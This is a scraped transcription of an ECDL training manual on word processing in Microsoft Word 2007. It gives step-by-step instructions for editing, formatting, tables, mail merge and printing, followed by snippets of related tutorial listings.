text stringlengths 454 608k | url stringlengths 17 896 | dump stringclasses 91
values | source stringclasses 1
value | word_count int64 101 114k | flesch_reading_ease float64 50 104 |
|---|---|---|---|---|---|
ECDL Word Processing Open, close a word processing application. Open, close documents.
- Dana Sharp
- 1 years ago
- Views:
Transcription
1 Word Processing
2 Word Processing 1 Using the Application 1.1 Working with Documents Open, close a word processing application. Open, close documents. Opening the Microsoft Word Application Click on the Start Button Click All Programs Select Microsoft Office Click on Microsoft Office Word 2007 To close a Document / Microsoft Word Click the Microsoft Office Button and click close, Close. OR Otherwise click on the small x button Opening an Existing Document Click the Microsoft Office Button and Click Open, or Press CTRL+O (Depress the CTRL key while pressing the O ) on the keyboard Choose the location where the file is Saved Click on the file and Click Open
3 To open several documents Click on the office button and from the menu choose open. Use the look in drop down menu to select the drive or folder that contains the files that you want. Select the first file, and then select the second file while depressing the Ctrl button. (This \will allow you to choose two or more files) Then click on open Create a new document based on default template, other available template like: memo, fax, agenda. Create a New Document There are several ways to create new documents, open existing documents, and save documents in Word: OR Click the Microsoft Office Button Click New Press CTRL+N (Depress the CTRL key while pressing the N ) on the keyboard centre screen, and preview the selection on the right screen.
4 1.1.3 Save a document to a location on a drive. Save a document under another name to a location on a drive. Saving a Document OR OR Click the Microsoft Office Button Click Save or Save As (remember, if you re sending the document to someone who does not have Office 2007, you will need to click the Office Button, click Save As, and choose Word Document), Press CTRL+S (Depress the CTRL key while pressing the S ) on the keyboard, Click the Save icon on the Quick Access Toolbar Note:- Remember that when you re saving for the First time you need to click on save as but if you have already saved the file and you want to save it again just click on save. If you want to change the name of the file repeat the same steps like you re doing the save for the first time and in file name write the new Name and click save
5 1.1.4 Save a document as another file type like: text file, Rich Text Format, template, software specific file extension, version number. To Save document as another file type: Click the Microsoft Office Button Save As Click on the Arrow to the right where you have Save as type Choose the Type of format example Rich Text Format Switch between open documents There are two ways of how you can switch from one open document to another:- 1. Click on the required document icon that will appear on the taskbar 2. Or click on the View icon on the Menu Bar and then click on the Switch Windows and Choose the document required 1.2 Enhancing Productivity Set basic options/preferences in the application: user name, default folder to open, save documents. Update user information When Microsoft Word is first installed, you will be asked to provide some basic information such as your name, initials and address when you are registering the software. Microsoft Word uses this information when you create labels and envelopes and inputs it into the summary information for each document. If the information you initially entered has changed, you can easily update your new user information, by following these steps:
6 1. Click the Microsoft Office Button, and then click Word Options. 2. Click Popular. 3. Under Personalize your copy of Office, type the author name in the User name box. Change the default folder / default file location By default, Word saves documents in the My Documents folder, located in the root directory. To change the default folder: Click the Microsoft Office Button, and then click Word Options Click Save From the default file location click on browse Choose the location Click OK
7 1.2.2 Use available Help functions. Click the Microsoft Office Help button in the upper right or the F1 key on your keyboard to open Help on your computer. The Help window will be displayed as illustrated: Select one of the available help topics, or click on the Search Box to search for a topic by entering a keyword Use magnification/zoom tools. The Zoom feature in Microsoft Word.
8 To zoom your documents follow these steps: Step1 Go to the View menu. Step2 Select Zoom. Step3 Look at the Zoom to and the Preview boxes in the Zoom window. Step4 Choose one of the preset zoom buttons, or select a more exact zoom percentage in the percent window below the buttons. Step5 You can preview your choice in the Preview box in the right side of the Zoom window. Step6 Click OK.
9 1.2.4 Display, hide built-in toolbars. Restore, minimize the ribbon. Display toolbars Right click on an existing toolbar and click on Customize quick Access Toolbar Choose a tool Click Add And Remove toolbars Right click on an existing toolbar and click on Customize quick Access Toolbar Choose a tool Click Remove Minimize the ribbon Click Customize Quick Access Toolbar. In the list, click Minimize the Ribbon.
10 Restore the Ribbon Click Customize Quick Access Toolbar. In the list, click Minimize the Ribbon. 2 Document Creation 2.1 Enter Text Switch between page view modes. There are 5 different types of views. 1. Outline View: - Outline view displays the document in outline form. You can display headings without the text. If you move a heading, the accompanying text moves with it. 2. Web Layout: - Displays the document as it would appear if published on the Web 3. Print Layout: - Allows you to display multiple columns, footnotes, and headers and footers in the document. You can also view graphics in this format. 4. Full Screen: - Allows you to type edit and format a document. 5. Draft View: - Draft view is the most frequently used view. You use Draft view to quickly edit your document To change the view, click on View tab and then select the required view
11 2.1.2 Enter text into a document. Microsoft Word opens with a blank document window ready for you to begin typing text into. The flashing insertion point indicates where the next character you type will appear. Simply start typing to enter text. If you make any mistakes, use the Backspace key to delete unwanted characters. Step 1: Start a New Paragraph Each time you press Enter, you start a new paragraph. Press Enter to end short lines of text, to create blank lines, and to end paragraphs. Don't press Enter to start new lines within a paragraph: Word wraps the lines for you. Step 2: Indent with the Tab Key Press the Tab key to indent the first line of a paragraph. If you keep pressing Tab, you increase the indent one-half inch at a time. Step 3: Type Repeating Characters To type the same character repeatedly, hold the key down. Word automatically converts some repeated characters into different types of lines. If you type three or more asterisks (*) and press Enter, for example, Word replaces them with a dotted line. Do the same with the equal sign (=) for a double line, the tilde (~)for a wavy line, the hash (#) symbol for a thick decorative line, or the underscore (_) for a thick single line. Step 4: Type Uppercase letters To produce all uppercase letters without having to hold down the Shift key, press the Caps Lock key once before you begin typing. Press the Caps Lock key again when you're ready to switch caps off. Caps Lock affects only the letter keys, not the number and punctuation keys. Therefore, you always have to press Shift to type a character on the upper half of a number or punctuation key, such or %.
12 Step 5: Fix Mistakes Press the Backspace key to delete characters to the left of the cursor. You can also click inside a word and press the Delete key to remove characters to the right of the cursor Insert symbols or special characters like:,,. Position the cursor where you wish to insert the special symbol. Click on Insert tab and select the Symbol command Choose the symbol that you need and click on it. OR In case the symbol you need is not there click More Symbols Click on the drop down arrow in the Font section of the dialog box allows you to view and select other fonts containing other symbols for example, try Wingdings) Choose the symbol and click Insert Then click on Close.
13 2.2 Select, Edit Display, hide non-printing formatting marks like: spaces, paragraph marks, manual line break marks, tab Show/Hide off, click the button again. Note: To choose which non-printing characters to display: It s important that the Home tab is selected than click on it Select character, word, line, sentence, paragraph, entire body text. Select a character Click just in front of the character you want to select Press Shift key (and keep it pressed) Press the right arrow key Release the Shift Key. Select a word Double click on the Word.
14 Select a line Move the mouse pointer to the left of the line that you wish to select, until the mouse pointer changes from an `I` bar to an arrow pointing upwards and to the right and then click once. Select a sentence. Move the mouse pointer within the sentence that you wish to select. Depress the Ctrl key and then click within the sentence. Select a paragraph. Move the mouse pointer within the paragraph that you wish to select and click three times. Select all text. Select the Select all command from the Edit drop down menu from the Menu Bar. Otherwise, press the A key whilst depressing Ctrl Edit content by entering, removing characters, words within existing text, by over-typing to replace existing text. cannot be enabled, regardless of whether you press the Insert key.
15 To do so follow the below steps: 1. Click the on the Office Button 2. Click the Word Options. 3. Click on Advanced 4. Click on Use Overtype mode option to clear the check box. 5. Click OK Use a simple search command for a specific word, phrase Place the insertion point where you want to begin the search Select the Find command from the Home tab. Type the Text you wish to find in the Find What box. Then click on Find Next button to find the next occurrence of the text you are looking for. If you need to search how many occurrences you have in the document of that particular word Click Reading Highlight Click Highlight All Then click on Find Next The number will be written in the Find window as shown in the diagram
16 2.2.5 Use a simple replace command for a specific word, phrase. Place the insertion point where you want to begin the search Select the Replace command from the Home tab. Type the Text you wish to find and in the Find what box and type the replacement in the Replace with box. Depending on the function you wish to perform you can select from the following:- Find Next: - Finds the next occurrence of the selected word or phrase Replace: - Replaces this instance of the Word, phrase or format Replace All: - Will replace all occurrences of the selected word, phrase, and format Copy, move text within a document, between open documents. Select the text that you wish to copy. Click on the Home tab and select Copy Click at the position within the document where you wish to paste the copied text. If you wish to paste it in another document, click on the document window on the taskbar. Click on the Home Tab again and Select Paste.
17 Move text within a document or between open documents. Select the text that you wish to move. Click on the Home tab and select Cut Click at the position within the document where you wish to paste the copied text. If you wish to paste it in another document, click on the document window on the taskbar. Click on the Home Tab again and Select Paste Delete text. To delete a character: - Place the insertion point to the left of the character to be deleted and press delete or place the insertion point to the right of the character to be deleted and press backspace. To delete a Word: - Double-Click on the word to be deleted and press the delete key or place the insertion point to the right of the word to be deleted and press Ctrl + Backspace. To delete line or lines: - Select the line/s that you wish to delete and then press delete or backspace from the keyboard. To delete a sentence: - Select the sentence that you wish to delete and press delete or backspace key. To delete a paragraph: - Select the paragraph and press delete. To delete a block of text: - Select the block of text that you wish to delete by dragging to mouse over the text and then press delete or backspace from the keyboard.
18 2.2.8 Use the undo, redo command. Undo: - From the Quick Access Toolbar choose the Undo command Redo: - From the Quick Access Toolbar select Redo 3 Formatting 3.1 Text Change text formatting: font sizes, font types. Text formatting allows you to add a professional look to your documents but be careful and don't overuse the effects as this will make your document look anything but professional. It is always best to use the one Font Type throughout the whole document, as this gives the document a look of conformity. The use of different colors and funky fonts detract from a document and makes them look completely amateurish. Changing the Font Arial is the font that is currently being used. Your computer might show a different font name here. Click on the drop-down arrow to display the list of available fonts. Use the scroll bar to see the full list. Then, simply click on the font of your choice.
19 Changing the Font size Click on the drop down arrow showing the current font size, and select the font size of your choice Apply text formatting: bold, italic, underline. Make text bold Select the text that you want to make bold, and move your pointer to the Home tab. Click Bold Note: - Click Bold again to unbold the text that you selected. Make text Italic Select the text that you want to make Italic, and move your pointer to the Home tab. Click Italic Note: - Click Italic again to remove the Italic the text that you selected
20 Make text Underlined Select the text that you want to make underlined, and move your pointer to the Home tab. Click Underlined Note: - Click Underlined selected again to remove the underlined text that you Apply text formatting: subscript, superscript. Superscript and subscript refer to numbers that are positioned slightly higher or slightly lower than the text on the line. For example, a footnote or endnote number reference is an example of superscript, and a scientific formula might use subscript text. Subscript Select the text that you want to format as subscript. Click on the Subscript button Superscript Select the text that you want to format as subscript. Click on the Superscript button Apply different colours to text. Click on the drop down arrow next to the font colour tool and select the colour that you wish to apply.
21 3.1.5 Apply case changes to text. Select the text that you want to change the case of. On the Home tab, in the Font group, click Change Case (as shown in the diagram below),. To apply the small capital (Small Caps) letter formatting to your text, select the text, and then on the Home tab, in the Font group, click the arrow in the lower right corner. In the Font dialog box, under Effects, select the Small Caps check box. See the diagram below for details.
22 3.1.6 Apply automatic hyphenation. ECDL Word Processing If a word is too long to fit on the end of a line, Microsoft Word moves the word to the beginning of the next line instead of hyphenating it. However, you can use the hyphenation feature to insert hyphens to eliminate gaps in justified text or to maintain even line lengths in narrow columns. Using automatic hyphenation When you turn on automatic hyphenation, Word automatically inserts hyphens where they are needed in the document. If you later edit the document and change line breaks, Word re-hyphenates the document. Using manual hyphenation When you choose manual hyphenation, Word searches for text to hyphenate, asks you to confirm each proposed optional hyphen, and then inserts the optional hyphens. If you later edit the document and change line breaks, Word displays and prints only the optional hyphens that still fall at the ends of lines. Word doesn't re-hyphenate the document. Set Automatic Hyphenation Make sure that no text is selected. On the Page Layout tab, in the Page Setup group, click Hyphenation, and then click Automatic.
23 3.2 Paragraphs Create, merge paragraph(s). There is a slight technical distinction between the ordinary use of the term paragraph and the term as is commonly used. Technically, a paragraph is a block if text that is terminated by a carriage return, that is by pressing the Enter key. Technically we say that Enter inserts a hard carriage return. If you press Shift+Enter you will create a new line. This creates a new paragraph in the usual sense it is used in everyday language. Technically we say that Shift+Enter inserts a soft carriage return. Word, however, will treat the new text as part of the existing paragraph. This means that if you apply a paragraph style to the first part of the paragraph, Word will apply it to the part after the soft return as well. To Merge the Paragraphs Together Position the cursor in front of the paragraph and press Del or press Backspace Insert, remove soft carriage return (line break). When you Press Enter, a new paragraph is created beginning with the new line. It can happen that you wish to insert a new line without actually creating a new paragraph. In this case you can insert a line break (also referred to as a carriage return or soft carriage return). This has the same appearance as a new paragraph, but for formatting purposes the text is treated as a single paragraph. To insert a line break: Press Shift+Enter.
24 Remove paragraph or line break marks Display non-printing characters by pressing the non-printing characters icon. To delete a line break either position the cursor in front of the line break mark break and press Del or to the right of the mark and press Backspace. You can then hide the non-printing characters Recognize good practice in aligning text: use align, indent, tab tools rather than inserting spaces. Text can be aligned to the left or to the right. It can also be centered or justified. If you justify text, Microsoft Word inserts extra spaces into the lines of text so that the left and right edges of the text line up vertically, you do not see a ragged edge down the right side of the text. When aligning text use the tools that are built into Microsoft Word. For instance if you wish to centre a paragraph as we shall see you could click within the paragraph and then click on the Center icon. You should not insert spaces or tab stops and try and line up paragraphs visually. The same advice applies to indenting. There are indent icons you can use Align text left, centre, right, justified. Alignment or justification of text refers to the position of the text with regards to the margins. For example, Centered text lies midway between the margins, whereas right justified text is aligned against the right hand margin but jagged on the left. The following table illustrates the different forms of alignment of text. Paragraph alignment 1. Click anywhere in the paragraph. 2. Press the appropriate alignment icon on the Formatting toolbar.
25 3.2.5 Indent paragraphs: left, right, first line. Indents refer to the amount of space inserted between the text and the left and right hand margins. In the case of a first line indent, the first line is indented but not the subsequent lines. In the case of a hanging indent, the first line is not indented while subsequent lines are. Indents may be set up before a paragraph is created or applied to existing paragraphs. To set indentation: 1. Click arrow next to the word Paragraph. 2. Click the Indents & Spacing tab. 3. You can set Left and Right indentation, as well as Special indentation. 4. Click OK. Note: Special indentation lets you choose between a First Line or Hanging indent.
26 3.2.6 Set, remove and use tabs: left, centre, right, decimal.. Set, change or clear tab stops To display the Tabs dialog box, double-click any tab stop on the ruler, or do the following: Select the paragraphs for which you want to set tabs, or place the insertion point at the location where you want to start using tabs. On the Page Layout tab, click the Paragraph Dialog Box Launcher. In the Paragraph dialog box, click Tabs To insert a new tab, type its position in the Tab stop position text box, or select a position from the list. Select Left, Center, Right, or Decimal from the Alignment section to specify how tab will be aligned. o Left tab: Aligns the left edge of text at this spot. o Center tab: Centers the text wherever this tab is set.
27 o Right tab: Aligns the right edge of text at this spot. o Decimal tab: Aligns decimals of numbers wherever this tab is. In the Leader section select 1,2,3, or 4. This will determine the leader section before each tab. To confirm the tabs click set and return to the document select OK. If you want to re-set all the tabs, select the Clear All button to remove any existing tabs. The default tabs are set at intervals of half-an-inch from the left-hand margin. Selecting Clear All in the Tabs dialog box will return to the default tab settings Recognize good practice in paragraph spacing: apply spacing between paragraphs rather than use the Return key. It is considered good practice to use Word Templates with fairly large pre-set paragraph spacing. This means there is less need to press the Return key to insert visual spacing between each paragraph Apply spacing above, below paragraphs. Apply single, 1.5 lines, double line spacing within paragraphs. Apply spacing above, below paragraphs Usually Word does not insert a space above or below a paragraph. Usually users insert a blank line at the end of the paragraph to set the paragraph off from other text. This involves pressing the Enter key twice. You may, however, let Word insert this space for you automatically. You could also insert space automatically before a paragraph. 1. Click arrow next to the word Paragraph. 2. Click the Indents & Spacing tab.
28 3. And in the Section Spacing set the Before and After Spacing 4. Click OK. Apply single, 1.5 lines, double line spacing within paragraphs. Line spacing determines the amount of vertical space between the lines of text in a paragraph. The normal spacing between lines of a paragraph is single line. However, in some cases we need to leave more space between lines. Change the line spacing Select the paragraphs for which you want to change the line spacing. On the Home tab, in the Paragraph group, click Line Spacing. Do one of the following: Click the number of line spaces that you want. For example, click 2.0, to double-space the selected paragraph. Click 1.0 to single-space with the spacing that is used in earlier versions of Word. Click 1.15 to single-space with the spacing that is used in Word Click Line Spacing Options, and then select the options that you want under Spacing. See the following list of available options for more information..
29) Add, remove bullets, numbers in a single level list. Switch between different standard bullet, number styles in a single level list. Bullets are used to set-off and emphasize sections of text and are symbols such as dots or diamonds. You can select from a number of different bullet types or create your own bullets. Any character available within your fonts can be used as a bullet. Select the list you wish to apply number or bullet formatting to. Click on the Bullets tool within the Paragraph Section. Numbers Bullets
30 Remove bullet formatting from the list. Select the list to which the bullet formatting information has been applied Click on the Bullets icon on the Paragraph Section Add numbering to a list using the Numbering icon. Select the text you wish to re-format as a numbered list and select the Numbering icon from the Paragraph Section Apply alternative bullet formatting to a list. Select the items to which you want to add picture bullets or symbols. To change an entire list level in a multilevel list, click one bullet or number at that level in the list. On the Home tab, in the Paragraph group, click the arrow next to Bullets. Click Define New Bullet, and then click Symbol or Picture. Click any symbol or picture that you want to use, and then click OK twice.
31 Add Alternative numbering styles to list. Select the items to which you want to add numbering styles. On the Home tab, in the Paragraph group, click the arrow next to Numbering. Click Define New Number Format, and then click on the arrow below Number style Choose one of them and click OK Control whether separate lists within a document use continuous numbering. If you have a number of separate lists within your document, then you can choose to have each list restart numbering, or you can choose that the number used at the end of one list is the starting number for the next list. You can control this behavior from the Bullets and Numbering arrow and Choose Set Numbering Value
32 Add a box border and shading/background colour to a paragraph. To Add a Border Select the area of text where you want the border Click the Borders Button on the Paragraph Group on the Home Tab Click on Borders and Shading From the Borders Tab click on BOX Click on the style that you want Choose the colour that you want and the width Click OK To Add a Shading to Text Select the area of text where you want the shading. Click the Borders Button on the Paragraph Group on the Home Tab And click on Borders and Shading Click on Shading tab In the fill Section choose a colour Click OK
33 3.3 Styles A style is a set of formatting characteristics, such as font name, size, color, paragraph alignment and spacing. Some styles even include borders and shading Apply an existing character style to selected text. Click on the Arrow in the right corner of the Styles section Choose one of the styles required Apply an existing paragraph style to one or more paragraphs. Click on the Change Styles button in Styles section Click Style Set Choose one of the styles required
34 3.3.3 Use copy format tool. You can use Format Painter some basic graphics formatting, such as borders and fills. on the Home tab to apply text formatting and Select some text that has been previously formatted Click on the Format Painter icon. (You will notice that the mouse pointer shape has changed to the shape of a small painting brush) Select the text that you wish to copy the formatting to, and when you release the mouse button you will see that the formatting applied to the first block of text, has been copied to the newly selected text. 4 Objects 4.1 Table Creation Create a table ready for data insertion. 1. Click where you want to insert a table. 2. On the Insert tab, in the Tables group, click Table, point to Insert Table 3. Write the Number of columns and Rows.
35 4.1.2 Insert, edit data in a table. Entering data into a table Click on any cell and type text using normal procedures. To move from cell to cell use the Tab key. Edit data in a table Click within the cell that contains the data that you wish to edit. Use the normal Word-processing editing techniques to edit the data within the cell Select rows, columns, cells, entire table. Select Rows Click in front of that Row when the Arrow is white Select Columns Click above of that Column when the Arrow is small and Black Select Entire Table Click on the symbol on the far left side of the table Insert, delete, rows and columns. Add a cell 1. Click in a cell that is located just to the right of or above where you want to insert a cell. 2. Under Table Tools, on the Layout tab, click the Rows & Columns Dialog Box Launcher. 3. Click one of the following options:
36 Click this Shift cells right To do this Insert a cell and move all other cells in that row to the right. NOTE This option may result in a row that has more cells than the other rows. Shift cells down Insert entire row Insert entire column Insert a cell and move remaining existing cells in that column down one row each. A new row will be added at the bottom of the table to contain the last existing cell. Insert a row just above the cell that you clicked in. Insert a column just to the right of the cell that you clicked in. Add a row 1. Click in a cell that is located just below or above where you want to add a row. 2. Under Table Tools, click 1. Click in a cell that is located just to the right or left of where you want to add a column. 2. Under Table Tools, click the Layout tab.
37. Delete a cell, row, or column Delete a cell 1. Select the cell that you want to delete by clicking its left edge. 2. Under Table Tools, click the Layout tab. 3. In the Rows & Columns group, click Delete, and then click Delete Cells. Click one of the following options: Click Shift cells left To do this Delete a cell and shift all other cells in that row to the left. NOTE Word does not insert a new column. Using this option may result in a row that has fewer cells than the other rows. Shift cells up Delete entire row Delete entire column Delete a cell and move the remaining existing cells in that column up one row each. A new, blank cell is added at the bottom of the column. Delete the entire row that contains the cell that you clicked in. Delete the entire column that contains the cell that you clicked in.
38 Delete a row 1. Select the row that you want to delete by clicking its left edge. 2. Under Table Tools, click the Layout tab. 3. In the Rows & Columns group, click Delete, and then click Delete Rows. Delete a column 1. Select the column that you want to delete by clicking its top gridline or top border. 2. Under Table Tools, click the Layout tab. 3. In the Rows & Columns group, click Delete, and then click Delete Columns. 4.2 Table Formatting Modify column width, row height. Specify row height. Select a row Right click on the Row and select Table Properties. The Row tab should be selected. Click on specify height check box and enter a value next to this. Click on the OK button to apply the change.
39 Specify column width Select a column Right click on the Column and select the Table properties command. The column tab should be selected. Click on the preferred width check box, and enter a value next to this. Click on the OK button to apply the change.
40 4.2.2 Modify cell border line style, width, colour. Click once within your table. Click on Border Arrow From the submenu click on Borders and Shading If necessary, select the Borders tab of the dialog box. Select the style you require. You can also use the scroll bars within this part of the dialog box to display a wide range of options. Select the width as required. You can also select a colour from the colour section of the dialog box. Click on the OK button to apply your selections. De-select your table to view the results Add shading/background colour to cells. Select particular cells within a table or select the entire table Click on Border Arrow From the submenu click on Borders and Shading If necessary, select the Shading tab of the dialog box. Select the required colour and then click on the OK button. De-select your table to view the results. 4.3 Graphical Objects Insert an object (picture, image, chart, drawn object) to a specified location in a document. Insert clipart Microsoft word has a built-in library of clipart images that you can insert in your
41 documents. Remember that before inserting any image you should place your cursor at the place where you wish to insert the picture. Click on the Insert tab. Choose Clipart The clipart task pane will appear at the right hand side of your screen. Type a keyword in the Search for: box, and click Go. Click once on the picture of your choice and it will be inserted in your document. Insert a picture that is saved on your computer Click on Picture from the Insert tab. The Insert Picture dialog box will open, from where you can browse to the folder that contains your pictures. You can change the views of your folder to see a preview of your pictures. Click on the picture that you wish to insert, and then click on Insert at the bottom of the window.
42 Insert shapes Microsoft word has a built-in tool which lets you insert several basic shapes, like circles, rectangles, arrows, callouts and banners, amongst others. Click on the Insert tab and choose Shapes. Choose one of the shapes and start drawing the shape on your document To insert a standard-sized AutoShape, click the position in your document where you want to display the shape. (You can later change its size, shape, or position.)
43 To give the AutoShape a specific initial size and shape, press the mouse button and drag to create the figure. Insert a chart Click on the "Insert" tab Click on "Chart" in the Illustrations section. The datasheet dialog box and a chart will be displayed. Use the datasheet to replace existing data with the information that you wish to display in the chart. Click outside the chart. The datasheet dialog box will disappear.
44 4.3.2 Select an object On the Home tab, in the Editing group, click Select. To select shapes that are hidden, stacked, or behind text, click Select Objects, and then draw a box over the shapes. To select other objects, such as pictures, SmartArt graphics, or charts, press and hold CTRL while you select the objects that you want Copy, move an object within a document, between open documents. Move pictures, charts and graphs. Click on the graphic that you wish to move. The border of the graphic will display eight small squares known as sizing handles. Click on the Home tab and Click Cut Position the cursor where the graphic will be moved. Click on the Home tab and click Paste Note: To move an object from one document to another, repeat the same initial process (select the object, click on the Home tab and Cut). Then open the other document in which you need to paste, position the insertion point where you need to insert the object and click on the Home tab and Paste. To copy pictures, images and charts. Click on the graphic that you wish to copy. The border of the graphic will display eight small squares known as sizing handles. Click on the Home tab and Click Copy Position the cursor where the graphic will be copied.
45 Click on the Home tab and click Paste Note: To copy an object from one document to another, repeat the same initial process (select the object, click on the Home tab and Copy). Then open the other document in which you need to paste, position the insertion point where you need to insert the object and click on the Home tab and Paste Resize, delete an object Click the graphic to resize. Click on the arrow of the Format tab The format picture or format object dialog box will be displayed Click Size tab. Adjust the Height and Width measurements under Size and rotate. Click OK button. Deleting graphics To delete an object / graphic, click once on the object to select it. Then, press the delete key on your keyboard.
46 5 Mail Merge 5.1 Preparation Sometimes you may need to send a standard letter to a large number of contacts. Typically you will address each of these letters specifically to the intended recipient and you may also need to prepare labels with individual recipient addresses to affix to envelopes. The novice user might type the standard letter, save it and then personalize each of these letters manually by typing the recipient contact details. However, this task is highly time-consuming especially if the same letter is sent to many recipients. The mail merge facility in Ms Word makes the task of generating mass mailing letters and labels relatively easy. Preparing any type of merged document typically involves two files: The main document contains the standardized text and graphics to be included on the letter or labels. You insert special instructions, known as merge fields, in this document to indicate where you want the variable information to be printed from the data source file. The data source file contains the information that varies with each version for example names, addresses, account numbers etc.
47 Preparing the Data Source File Each set of related information in a data source file makes up one record in the data file. One record in a person s mailing list, for example, contains all the information for one individual person. The different types of information title, name, mailing address, and so on - are called fields. Each field in the data file must have a unique name. In most cases, you list the field names in the first record of the data file, called the header record. The remaining records in the data file (the data records) contain the field information corresponding to each field name in the header record Open, prepare a document, as a main document for a mail merge.. To display the Mail Merge task pane, click on the Mailings Tab. Then click Start Mail Merge, Click on Step by Step Mail Merge Wizard. The Mail Merge task pane opens with a question about what type of merged document you are creating. After you choose, click Next at the bottom of the task pane.
48 If your main document (called the starting document in the task pane) is already open, or you are starting with a blank document, you can click Use the current document. Then click on Next Select Recipients Select a mailing list, other data file, for use in a mail merge. In this step in the mail-merge process, you connect to the data file where the unique information that you want to merge into your document is stored. If you have a Microsoft Office Excel worksheet or a Microsoft Office Access database that contains your customer information, click Use an existing list, and then click Browse to locate the file. If you don't have a data file yet, click Type a new list, and then use the form that opens to create your list. The list is saved as a mailing database (.mdb) file that you can reuse.
49. Clear the check box next to a record to exclude that record. Use the buttons to select or exclude all the records or to find specific records Insert data fields in a mail merge main document (letter, address labels). If your main document is still blank, type the information that will appear in each copy. Then, add fields by clicking More items in the task pane. Fields are placeholders that you insert into the main document at locations where you want unique information to appear. Fields appear in your document within chevrons, for example, «Address». 5.2 Outputs Merge a mailing list with a letter, label document as a new file or printed output. In case one need to print envelopes or labels instead of letter in step one choose one of them depends on what you need. After completing the 4 th Step, the wizard asks you to Preview your letter.
50 You can preview your merged document and make changes before you actually complete the merge When you are satisfied with the merge results, click Next at the bottom of the task pane. Then on the Last Step Click on Edit Individual letters. Click on All and Ok You will notice that all your contacts will be merged with the letter that you had in a new document Print mail merge outputs: letters, labels. In Case you want to Print instead of choosing edit individual Letters choose Print and it will print the whole list merged with the letter/labels OR After you have done the step Edit individual Letters. Click on the Office Button Click Print
51 6 Prepare Outputs 6.1 Setup Change document orientation: portrait, landscape. Change paper size Document Orientation 1. On the Page Layout tab, in the Page Setup group, click Orientation. 2. Click Portrait or Landscape. Change Paper Size 1. On the Page Layout tab, in the Page Setup group, click Size. 2. Choose one of them example A Change margins of entire document, top, bottom, left, right. 1. On the Page Layout tab, in the Page Setup group, click Size. 2. Click on the Margins button and click Custom Margins.
52 Top: - To set the top margin Bottom: - To set the bottom margin Left: - To set the left-hand margin Right: - To set the right-hand margin Gutter: - To set the gutter margin width between pages for binding purposes Recognize good practice in adding new pages: insert a page break rather than using the Return key Good practices in using page break rather than pressing enter several times. When using page break, any changes made to the text in a particular page, will not affect the text in the other pages. For example, if text is added on the previous page, the text at the beginning of the next page will still remain in the same place. Thus, with page break you take less time in organizing the layout of the document Insert, delete a page break in a document. Insert a hard Page Break Place the insertion point where you want to end one page and start another. Press CTRL + Enter Otherwise, click Insert Page Break Delete a hard page break If you want to delete a hard page break, switch on the Show/Hide button. Then place the insertion point below the hard page break (the dotted line) and press Backspace Add, edit text in headers, footers. From the Insert tab, select the Header in case of the top of the page and Footer in case of the bottom of the page Click on Edit Header and start Typing. In case one needs to go in the footer
53 Click on Go to Header in the Design Tab Add fields in headers, footers: date, page number information, file name and Apply automatic page numbering to a document. After you click on Header or Footer and chose Edit Header/Footer In the Design Tab you will have the date, page number and quick parts button to Insert When you click on Quick Parts and Field You can choose on which field you want to insert. You can also do the date and page number from here 6.2 Check and Print Spell check a document and make changes like: correcting spelling errors, deleting repeated words. It is important that you check your document for any spelling or grammar mistakes prior to printing. This can be done by clicking on the Review tab and selecting Spelling and Grammar. The spelling and grammar dialog box will be displayed, as illustrated. For each
54 You can select one of the following actions: Ignore Once: Leaves the word as it is. Ignore All: Will not change any further occurrences of the word. Add to Dictionary: Adds the word to the dictionary. Change: Will change the word to the suggested word Change All: Will change all further occurrences of the word to the suggested word AutoCorrect: Enables the AutoCorrect feature for any further occurrences of the word. Cancel: Exits the Spell check. Dictionary Language: Allows you to select the language used for spell checking. Undo: Will undo the previous correction. Suggestions: A list of suggested corrections is displayed. Options: Enables you to change the Spell Checking options. Delete: Deletes a duplicated occurrence of a word Add words to a built-in custom dictionary using a spell checker. 1. Click the Microsoft Office Button, and then click Word Options. 2. Click Proofing. 3. Click Custom Dictionaries.
55 4. Select the dictionary you want to edit. Make sure you do not clear the check box. 5. Click Edit Word List. 6. Do one of the following: 1. To add a word, type it in the Word(s) box, and then click Add. 2. To delete a word, select it in the Dictionary box, and then click Delete. 3. To edit a word, delete it, and then add it with the spelling you want. 4. To remove all words, click Delete all Preview a document. Print preview lets you see a preview of your document before actually printing it. Click on the Office button. Point to Print. Click on Print Preview. Note: To exit Print Preview and return to Normal View, click on Close Print Preview.
56 6.2.4 Print a document from an installed printer using output options like: entire document, specific pages, number of copies. Click on the Office Button. Point to Print, and then click on Print from the sub-menu The Print dialog box will be displayed as illustrated below. In the Page range section choose whether you wish to print all the pages in the document, the current page only, selected pages, or a particular selection. In the Copies section specify how many copies of the same document you wish to print.
57 You can choose to print all the pages in the range specified, or else you can choose to only print the odd or the even pages. Finally, click OK.
ECDL / ICDL Word Processing Syllabus Version 5.0
ECDL / ICDL Word Processing Syllabus Version 5.0 Purpose This document details the syllabus for ECDL / ICDL Word Processing. The syllabus describes, through learning outcomes, the knowledge and skills Word 2010 Tutorial
1 Microsoft Word 2010 Tutorial Microsoft Word 2010 is a word-processing program, designed to help you create professional-quality documents. With the finest documentformatting tools, Word helps you organize
MS Word 2007 practical notes
MS Word 2007 practical notes Contents Opening Microsoft Word 2007 in the practical room... 4 Screen Layout... 4 The Microsoft Office Button... 4 The Ribbon... 5 Quick Access Toolbar... 5 Moving in Processing programs and their uses
Word Processing programs and their uses An application that provides extensive tools for creating all kinds of text based programs. They are not limited to working with text and enable you to add images
Microsoft Word 2010: Working with Styles
CALIFORNIA STATE UNIVERSITY, LOS ANGELES INFORMATION TECHNOLOGY SERVICES Microsoft Word 2010: Working with Styles Fall 2014, Version 1.1 Table of Contents Introduction...3 Formatting Documents...3 Live
Microsoft Office Word 2013
Microsoft Office Word 2013 The Start screen makes it easier for you to create documents. Navigating the Word 2013 Ribbon Simple: Creates a new query by enabling you to select fields from one or more tables Word XP Basics
Microsoft Word XP Basics Starting Word Click the start button, move the pointer to All Programs. Move the pointer to Microsoft Office and then select Microsoft Word and click the application or click the
INTRODUCTION TO MICROSOFT WORD 2010
Southern Illinois University School of Medicine Medical Library INTRODUCTION TO MICROSOFT WORD 2010 QUICK ACCESS TOOLBAR The Quick Access Toolbar is located at top left of the screen Click on the black.
Introduction to Microsoft Word Word 2007
Southern Illinois University School of Medicine Medical Library New Features Introduction to Microsoft Word Word 2007 Office Button Click on the Office Button to reveal basic functions such as New, Open,
Word Tutorial 1 Creating and Editing a Document
Word Tutorial 1 Creating and Editing a Document Microsoft Office 2013 Objectives Create and save a document Enter text and correct errors as you type Use AutoComplete and AutoCorrect Select text and 2013 Part 1: Introduction to Word
